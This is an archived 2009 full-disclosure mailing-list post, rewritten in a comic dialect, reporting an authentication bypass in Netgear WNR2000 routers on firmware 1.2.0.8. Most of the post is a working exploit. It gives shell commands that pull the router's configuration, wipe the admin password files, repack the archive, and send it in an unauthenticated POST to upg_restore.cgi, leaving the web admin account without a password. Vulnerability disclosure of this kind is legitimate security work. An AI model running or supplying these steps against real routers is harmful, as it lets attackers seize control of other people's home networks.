Netgear WNR2000 Bypass

`From: http://seclists.org/fulldisclosure/2009/Aug/280  
---  
From: Jean Trolleur <sigtstp@gmail com>  
Date: Thu, 20 Aug 2009 13:05:19 -0600  
  
Dere be an audenticashun bypass vulnerability on de Netgear WNR2000  
routa' runnin' firmware 1.2.0.8 dat kin allow fo' an attacka' to  
change da damn admin passwo'd fo' de web interface widout  
audenticashun. Dis be due t'a lack uh audenticashun in  
/cgi-bin/upg_restore.cgi. Dig dis:  
  
# wget http://netgear/cgi-bin/NETGEAR_WNR2000.cfg  
# dd if=NETGEAR_WNR2000.cfg of=omfg.tar bs=1 skip=128  
# dd if=NETGEAR_WNR2000.cfg of=header bs=1 count=128  
# tar xf omfg.tar  
# cd configs  
# rm http_passwd  
# touch http_passwd  
# echo -n 0 > router_passwd_length  
# cd ..  
# tar cf wtf.tar configs/*  
# cat header wtf.tar > NETGEAR_WNR2000.cfg  
  
Followin' dis, de modified NETGEAR_WNR2000.cfg stash kin be sent in da  
unaudenticated POST request to:  
  
http://netgear/cgi-bin/upg_restore.cgi?/cgi-bin/restore_process.html  
  
At dis point, dere gots'ta no longa' be some passwo'd fo' de admin account. Man!  
  
Some sucka at Netgear should real publish some security contact and  
GPG key on deir website t'encourage responsible disclosho' man.  
`